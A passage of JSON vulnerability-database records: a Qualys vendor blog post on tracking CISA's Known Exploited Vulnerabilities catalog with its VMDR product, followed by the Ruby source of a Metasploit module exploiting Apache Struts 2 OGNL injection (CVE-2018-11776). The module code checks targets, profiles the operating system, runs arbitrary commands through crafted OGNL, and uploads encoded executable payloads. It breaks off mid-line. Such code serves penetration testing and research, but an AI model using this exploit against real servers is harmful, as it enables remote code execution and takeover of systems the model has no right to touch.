["CVE-2018-11776", "CVE-2018-7600"], "modified": "2018-08-23T20:27:19", "id": "QUALYSBLOG:22DFA98A7ED25A67B3D38EAAE5C82A9E", "href": "https://blog.qualys.com/securitylabs/2018/08/23/detecting-apache-struts-2-namespace-rce-cve-2018-11776", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-06-24T16:57:20", "description": "This module exploits a remote code execution vulnerability in Apache Struts version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed via an endpoint that makes use of a redirect action. Note that this exploit is dependant on the version of Tomcat running on the target. Versions of Tomcat starting with 7.0.88 currently don't support payloads larger than ~7.5kb. Windows Meterpreter sessions on Tomcat >=7.0.88 are currently not supported. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.\n", "cvss3": {}, "published": "2018-08-31T18:48:22", "type": "metasploit", "title": "Apache Struts 2 Namespace Redirect OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2023-01-27T15:58:53", "id": "MSF:EXPLOIT-MULTI-HTTP-STRUTS2_NAMESPACE_OGNL-", "href": "https://www.rapid7.com/db/modules/exploit/multi/http/struts2_namespace_ognl/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n\n # Eschewing CmdStager for now, since the use of '\\' and ';' are killing me\n #include Msf::Exploit::CmdStager # https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html\n\n # NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',\n 'Description' => %q{\n This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Note that this exploit is dependant on the version of Tomcat running on\n the target. Versions of Tomcat starting with 7.0.88 currently don't\n support payloads larger than ~7.5kb. Windows Meterpreter sessions on\n Tomcat >=7.0.88 are currently not supported.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.\n },\n 'Author' => [\n 'Man Yue Mo', # Discovery\n 'hook-s3c', # PoC\n 'asoto-r7', # Metasploit module\n 'wvu' # Metasploit module\n ],\n 'References' => [\n ['CVE', '2018-11776'],\n ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],\n ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],\n ],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Automatic detection', {\n 'Platform' => %w{ unix windows linux },\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n },\n ],\n [\n 'Windows', {\n 'Platform' => %w{ windows },\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n },\n ],\n [\n 'Linux', {\n 'Platform' => %w{ unix linux },\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}\n },\n ],\n ],\n 'DisclosureDate' => '2018-08-22', # Private disclosure = 2018-04-10\n 'DefaultTarget' => 0))\n\n register_options(\n [\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),\n OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),\n OptBool.new('ENABLE_STATIC', [ true, 'Enable \"allowStaticMethodAccess\" before executing OGNL', true ]),\n ]\n )\n register_advanced_options(\n [\n OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),\n OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', \"X-#{rand_text_alpha(4)}\"] ),\n OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', \"#{rand_text_alpha(8)}\"] ),\n ]\n )\n end\n\n def check\n # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable\n ognl = \"#_memberAccess['allowStaticMethodAccess']\"\n\n resp = send_struts_request(ognl)\n\n # If vulnerable, the server should return an HTTP 302 (Redirect)\n # and the 'Location' header should contain either 'true' or 'false'\n if resp && resp.headers['Location']\n output = resp.headers['Location']\n vprint_status(\"Redirected to: #{output}\")\n if (output.include? '/true/')\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\n datastore['ENABLE_STATIC'] = false\n CheckCode::Vulnerable\n elsif (output.include? '/false/')\n print_status(\"Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'\")\n datastore['ENABLE_STATIC'] = true\n CheckCode::Vulnerable\n else\n CheckCode::Safe\n end\n elsif resp && resp.code==400\n # METHOD 2: Generate two random numbers, ask the target to add them together.\n # If it does, it's vulnerable.\n a = rand(10000)\n b = rand(10000)\n c = a+b\n\n ognl = \"#{a}+#{b}\"\n\n resp = send_struts_request(ognl)\n\n if resp.headers['Location'].include? c.to_s\n vprint_status(\"Redirected to: #{resp.headers['Location']}\")\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\n datastore['ENABLE_STATIC'] = false\n CheckCode::Vulnerable\n else\n CheckCode::Safe\n end\n elsif resp.nil?\n fail_with(Failure::Unreachable,\"Target did not respond. Please double check RHOSTS and RPORT\")\n end\n end\n\n def exploit\n case payload.arch.first\n when ARCH_CMD\n resp = execute_command(payload.encoded)\n else\n resp = send_payload()\n end\n end\n\n def encode_ognl(ognl)\n # Check and fail if the command contains the follow bad characters:\n # ';' seems to terminates the OGNL statement\n # '/' causes the target to return an HTTP/400 error\n # '\\' causes the target to return an HTTP/400 error (sometimes?)\n # '\\r' ends the GET request prematurely\n # '\\n' ends the GET request prematurely\n\n bad_chars = %w[; \\\\ \\r \\n] # and maybe '/'\n bad_chars.each do |c|\n if ognl.include? c\n print_error(\"Bad OGNL request: #{ognl}\")\n fail_with(Failure::BadConfig, \"OGNL request cannot contain a '#{c}'\")\n end\n end\n\n # The following list of characters *must* be encoded or ORNL will asplode\n encodable_chars = { \"%\": \"%25\", # Always do this one first. :-)\n \" \": \"%20\",\n \"\\\"\":\"%22\",\n \"#\": \"%23\",\n \"'\": \"%27\",\n \"<\": \"%3c\",\n \">\": \"%3e\",\n \"?\": \"%3f\",\n \"^\": \"%5e\",\n \"`\": \"%60\",\n \"{\": \"%7b\",\n \"|\": \"%7c\",\n \"}\": \"%7d\",\n #\"\\/\":\"%2f\", # Don't do this. Just leave it front-slashes in as normal.\n #\";\": \"%3b\", # Doesn't work. Anyone have a cool idea for a workaround?\n #\"\\\\\":\"%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\n #\"\\\\\":\"%5c%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\n }\n\n encodable_chars.each do |k,v|\n #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)\n ognl.gsub!(\"#{k}\",\"#{v}\")\n end\n return ognl\n end\n\n def send_struts_request(ognl, payload: nil, headers: nil)\n ognl = \"${#{ognl}}\"\n vprint_status(\"Submitted OGNL: #{ognl}\")\n ognl = encode_ognl(ognl)\n\n if headers.nil?\n headers = {'Keep-Alive': 'timeout=5, max=1000'}\n end\n\n if payload\n vprint_status(\"Embedding payload of #{payload.length} bytes\")\n headers[datastore['HEADER']] = payload\n end\n\n # TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs\n uri = normalize_uri(target_uri.path, \"/#{ognl}/#{datastore['ACTION']}\")\n\n r = send_request_cgi(\n #'encode' => true, # this fails to encode '\\', which is a problem for me\n 'uri' => uri,\n 'method' => datastore['HTTPMethod'],\n 'headers' => headers\n )\n\n if r && r.code == 404\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 404, please double check TARGETURI and ACTION options\")\n end\n\n return r\n end\n\n def send_profile\n # Use OGNL to extract properties from the Java environment\n\n properties = { 'os.name': nil, # e.g. 'Linux'\n 'os.arch': nil, # e.g. 'amd64'\n 'os.version': nil, # e.g. '4.4.0-112-generic'\n 'user.name': nil, # e.g. 'root'\n #'user.home': nil, # e.g. '/root' (didn't work in testing)\n 'user.language': nil, # e.g. 'en'\n #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)\n }\n\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|('#{rand_text_alpha(2)}')|\n properties.each do |k,v|\n ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|\n end\n ognl = ognl[0...-4]\n\n r = send_struts_request(ognl)\n\n if r.code == 400\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\")\n elsif r.headers['Location']\n # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'\n # Extract the OGNL output from the Location path, and strip the two random chars\n s = r.headers['Location'].split('/')[1][2..-1]\n\n if s.nil?\n # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.\n # But we didn't get any output, so we can't profile the target. Abort.\n return nil\n end\n\n # Confirm that all fields were returned, and non include extra (:) delimiters\n # If the OGNL fails, we might get a partial result back, in which case, we'll abort.\n if s.count(':') > properties.length\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\n fail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\")\n end\n\n # Separate the colon-delimited properties and store in the 'properties' hash\n s = s.split(':')\n i = 0\n properties.each do |k,v|\n properties[k] = s[i]\n i += 1\n end\n\n print_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" +\n \" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\")\n return properties\n else\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\n fail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\")\n end\n end\n\n def profile_os\n # Probe for the target OS and architecture\n begin\n properties = send_profile()\n os = properties[:'os.name'].downcase\n rescue\n vprint_warning(\"Target profiling was unable to determine operating system\")\n os = ''\n os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\n os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'\n os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'\n end\n return os\n end\n\n def execute_command(cmd_input, opts={})\n # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.\n if cmd_input.include? ';'\n print_warning(\"WARNING: Command contains bad characters: semicolons (;).\")\n end\n\n os = profile_os()\n\n if os && ((os.include? 'linux') || (os.include? 'nix'))\n cmd = \"{'sh','-c','#{cmd_input}'}\"\n elsif os && (os.include? 'win')\n cmd = \"{'cmd.exe','/c','#{cmd_input}'}\"\n else\n vprint_error(\"Failed to detect target OS. Attempting to execute command directly\")\n cmd = cmd_input\n end\n\n # The following OGNL will run arbitrary commands on Windows and Linux\n # targets, as well as returning STDOUT and STDERR. In my testing,\n # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.\n\n vprint_status(\"Executing: #{cmd}\")\n\n ognl = \"\"\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\n ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|\n ognl << %q|(#p.redirectErrorStream(true)).|\n ognl << %q|(#process=#p.start()).|\n ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|\n ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|\n ognl << %q|(#r.flush())|\n\n r = send_struts_request(ognl)\n\n if r && r.code == 200\n print_good(\"Command executed:\\n#{r.body}\")\n elsif r\n if r.body.length == 0\n print_status(\"Payload sent, but no output provided from server.\")\n elsif r.body.length > 0\n print_error(\"Failed to run command. Response from server: #{r.to_s}\")\n end\n end\n end\n\n def send_payload\n data_header = datastore['HEADER']\n if data_header.empty?\n fail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\")\n end\n\n payload = generate_payload_exe\n print_status(\"Generated #{payload.length} byte binary payload\")\n payload_b64 = [payload].pack(\"m\").delete(\"\\n\")\n\n if payload_b64.length < 8100\n send_payload_oneshot(payload_b64)\n else\n send_payload_multishot(payload)\n end\n end\n\n def send_payload_oneshot(payload)\n data_header = datastore['HEADER']\n if data_header.empty?\n fail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\")\n end\n\n random_filename = 